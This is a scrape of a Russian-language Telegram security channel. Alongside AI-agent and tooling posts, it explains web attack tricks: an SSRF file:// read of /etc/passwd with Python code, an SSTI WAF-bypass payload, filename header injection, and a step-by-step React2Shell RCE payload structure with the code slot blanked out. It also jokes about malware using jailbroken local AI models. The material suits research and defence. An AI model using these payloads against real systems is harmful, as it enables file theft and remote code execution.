вольтаж – Telegram
вольтаж
819 subscribers
36 photos
6 videos
7 files
59 links
Кибершумные заметки о безопасности веба, инфры и головы

связь - @w0ltage
Download Telegram
2027 год, почти сингулярность
@
челы навайбкодили интерфейс умного холодильника на javanoscript
@
стальной гроб на кухне решил обновиться и скачал вредоносный npm
@
пакет вызвал локальную нейронку icelamma и просканил все продукты
@
я просыпаюсь в 6 утра от голосового шантажа холодильником через text2speech, что требует перевести пару биткоины, иначе не открыть мне морозилку с гавайской пиццей
117
на деле, любопытно как в ближайшие годы, вирусы смогут делегировать сложные действия на плечи встроенных доверенных нейронок в ОС, терминал or whatever

считаю, что на этом этапе, разработки и вариации джейлбрейков вспыхнут ярким синим пламенем

ведь зачем писать сложный стилер, когда это может сделать валидный процесс? надо всего лишь поиграться с видом промпта (текст, картинка, видео?)

поддержу интерес автора к методам, как в этой реальности антивирусы смогут выстоять на ринге

я же уже вижу мир, где хакеры, помимо LOLBins (Living of the Land Bins), открывают таблицы методов с LoLLM (Living of the LLM)

а ты что думаешь?
83
31
общий сбор всем вайбкодерам

на днях попался очередной фреймворк для работы с агентами и кодом - BMAD-method

с ним и memory bank не нужен. или нужен?
читаем дальше

в отличие от прочих фреймворков, этот позиционирует себя как полная продуктовая команда, работающая по Agile

т.е. при разработке, ты общаешься с агентами разных ролей, проходя полный путь от идеи до тестирования

примеры доступных ролей: ux designer, project manager, product owner, analyst, qa expert, dev, etc.

флоу работы с BMAD с уже существующим проектом:
1. закидываете кодовую базу в плоский файл, затем отдаёте файл в gemini (из-за контекста до 1кк токенов)
2. [optional] с Analyst брейнштормите (ориентируется в 10+ техник брейншторма) что нужно сделать
3. с PM пишете PRD
4. с Architect пишете технический план для изменений

затем делаешь ещё пару трюков в IDE и на выходе получаешь step by step план для ИИ агента "что надо делать"

в полученных файлах будет весь нужный контекст, что заменит потуги с memory bank

уже вижу как ты хочешь написать
ну и че, я тоже могу PRD написать и на таски раскидать


я в тебе не сомневался, но BMAD даёт просто ПУШКУ в виде QA роли для агента, что может генерить профиль РИСКОВ ИЗМЕНЕНИЙ в таске и ДИЗАЙН ТЕСТОВ ЧТОБЫ ТЕ ПОКРЫВАЛИ РИСКИ

разъеб да? да
однако! этот фреймворк работает на ура только когда вдумчиво читаешь слова, что говорят агенты под действием промптов BMAD

и самый разъеб это то, что агент ведёт себя не как тупая обезьяна
ой, ты не знаешь? да я тоже не знаю, го дальше

вместо этого он пойдет дальше
да понимаю. слушай, давай посмотрим на это под другим углом. как насчёт такого: Х, У


прогрелся?
теперь давай по гайдам
1. the BMAD Method: the ultimate ai coding system
(короткий overview)
2. the official BMAD-Method masterclass
(длинный deep dive)

впитав знания, следуй
1. флоучарту по полному циклу разработки BMAD
2. гайду по работе с уже существующими проектами

и конечно же, BMAD-method работает с:
cursor, claude-code, windsurf, trae, roo, kilo, cline, gemini, qwen-code, github-copilot, codex, codex-web, auggie-cli, iflow-cli, opencode, etc.
132
пример проактивности агента с ролью Analyst во время брейншторма по рефакторингу

агент предложил пройтись по некой методике SCAMPER, задавая мне вопросы по каждому пункту

полный вопрос агента:
A - Adapt.

How can we adapt the worker, or the system around it, to serve new purposes or new contexts? Now that the worker is a general-purpose executor, what else could we use it for?

For example, could we adapt it to manage not just [REDACTED], but also [REDACTED]? What would need to change?
42
ПАПКИ ПАПКИ 😲УКА ПАПКИ

Бывает, решился на мысль, зашёл в тг, увидел диско шар уведомлений по чатам, отвлёкся и уже забыл как хотел измениться.

Как оказалось, с тг премиумом, эту вонючую папку "Все чаты", можно выкинуть в конец списка и забыть о ней

Что делать:
- создай / выбери канал что хочешь держать на виду всегда
- настройки -> папки, создай ещё одну папку и добавь туда выбранный канал
- перемести папку на первое место в списке

Поздравляю, ты выбыл из крысиных бегов за вниманием.

Для авторов тг каналов — рекомендую закинуть в папку канал с заметками для постов
Please open Telegram to view this post
VIEW IN TELEGRAM
73
наконец-то узнал как атаковать эту синюю коробку
Forwarded from Pentest Notes
Подготовил для вас подробное руководство по тестированию на проникновение Outlook Web Access (OWA). 😈

➡️ В статье я разобрал все основные атаки и уязвимости OWA. Собрал и структурировал самое полезное в одном месте.

➡️ Также материал идеально подойдет для тех, кто все еще путает между собой OWA, Outlook и MS Exchange :)

Даже если вы раньше не сталкивались с почтовыми сервисами Microsoft, после прочтения смело можете бежать проверять их на безопасность. 🥤

Ссылка на статью

💫 @pentestnotes | #pentest #OWA #Exchange
Please open Telegram to view this post
VIEW IN TELEGRAM
75
WAPPALYZER В ТЕРМИНАЛЕ

🍭 s0md3v/wappalyzer-next

~год искал CLI тулзу, что сможет раскрывать tech stack столь же хорошо как wappalyzer расширение в браузере

как оказалось, легче запускать headless firefox с wappalyzer, чем пытаться сделать open source wappalyzer-like сканеры (1 2)
Please open Telegram to view this post
VIEW IN TELEGRAM
73
Forwarded from вольтаж
httpx использует собственную разработку projectdiscovery, о которой также сказано в посте — wappalyzergo

знаешь как она определеяет стек?
оно отправляет один запрос и смотрит на ответ

об этом даже issue создавали
https://github.com/projectdiscovery/httpx/issues/959

в то же время, благодаря headless firefox, wappalyzer успевает захватить все подгружаемые JS и определить полный стек
41
file://localhost/etc/passwd
что вернёт?

Да, вернётся /etc/passwd.

В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>

Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.

питон пок

from urllib.request import urlopen

content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')

print(content)


Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.

В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.

Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?


Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.

Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49


Уже на стену лезешь? Погоди, я с тобой ещё не закончил.

Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?

В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱


# RFC 6266
filename="image.png"

# RFC 8187
filename*=UTF8''image%0a.png


RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %

То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.

. . .

FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]

⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]

⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]


Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]

2. иной подход к протоколу file:// [^]

3. пролом parse_url в PHP [^]


#web #waf_bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
32248
нет слов одни эмоции
Forwarded from HaHacking
⚠️  #web #offense #события #заметки

➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)?

Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;

⚡️ UPD:

Уже доступен оригинальный PoC, использованный для репорта уязвимости вендору!



🐇 Проблема

Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга.  До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;

С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function]глобальный конструктор;


Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);

Соответственно, можем сформировать специальный объект, где then указывал бы на Function


files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}



🐇 Эксплуатация

0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок;

1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;

2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка;

3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj);

4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;

5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️

6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через getActionModIdOrError;  В запросе должен быть заголовок Next-Action


🐇 Полезная нагрузка

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"███████████████████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}


Разбирая полезную нагрузку по пунктам:
▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();

▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;

▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;

▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);

▪️"_prefix"
➡️ здесь произвольный код для выполнения;

▪️"_formData"
➡️ здесь указываем на конструктор;



🐇 Обнаружение & Митигация

   🧩   WAF правила:  AWS / Google Cloud / Azure

   🧩   Шаблон Nuclei:  projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml


CVE-2025-55182
Уязвимые версии:  от React 19 до React 19.2.0
Починили в React 19.2.1

Починили тут:  facebook/react/commit/7dc9...8700
Объявили тут:  react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components


CVE-2025-66478
Уязвимые версии:  от Next.js 15 до Next.js 16
Починили в этих версиях

Починили тут:  vercel/next.js/commit/6ef90...07b2
Объявили тут:  nextjs.org/blog/CVE-2025-66478




➡️Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:

   🧩   msanft/CVE-2025-55182

   🧩   maple3142/48bc...f5f3


⚡️ А здесь – сразу несколько PoC'ов от оригинального автора CVE:

   🧩   lachlan2k/React2Shell-CVE-2025-55182-original-poc


➡️Stay safe!

   @HaHacking  🐇
Please open Telegram to view this post
VIEW IN TELEGRAM
64
пацаны, не гоняйте за эксплойтами 1дей, вы системе ещё нужны
32
🎇 сводка по react2shell безумию

events
* китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты
* добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"

* Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$

facts
* легче обновиться, чем защищаться waf'ом
* все сдают react2shell в бб и надеются на деньги
* багхантеры написали браузерное расширение на детект
* nuclei добавили смешные правила на детект
(кто пропустит сложение чисел в powershell?)

vuln
* в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process
(curl не всегда есть в контейнере, но fetch() всегда есть в node runtime)

* react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта
* уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk


слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста


Включай этот absolute cinema. Это будут лучшие 40 минут за день.

https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ

Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20)

Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense

https://x.com/rauchg/status/1997362942929440937
Please open Telegram to view this post
VIEW IN TELEGRAM
567
вольтаж
🎇 сводка по react2shell безумию events * китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты * добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"…
40 прожатий ⚪️ на посту и делаю разбор react2shell на русском + сюрприз

будет плотно, тяжело и с картинками.
всё как ты любишь.

upd: быстро же вы набрали. задача была взята в работу!
Please open Telegram to view this post
VIEW IN TELEGRAM
452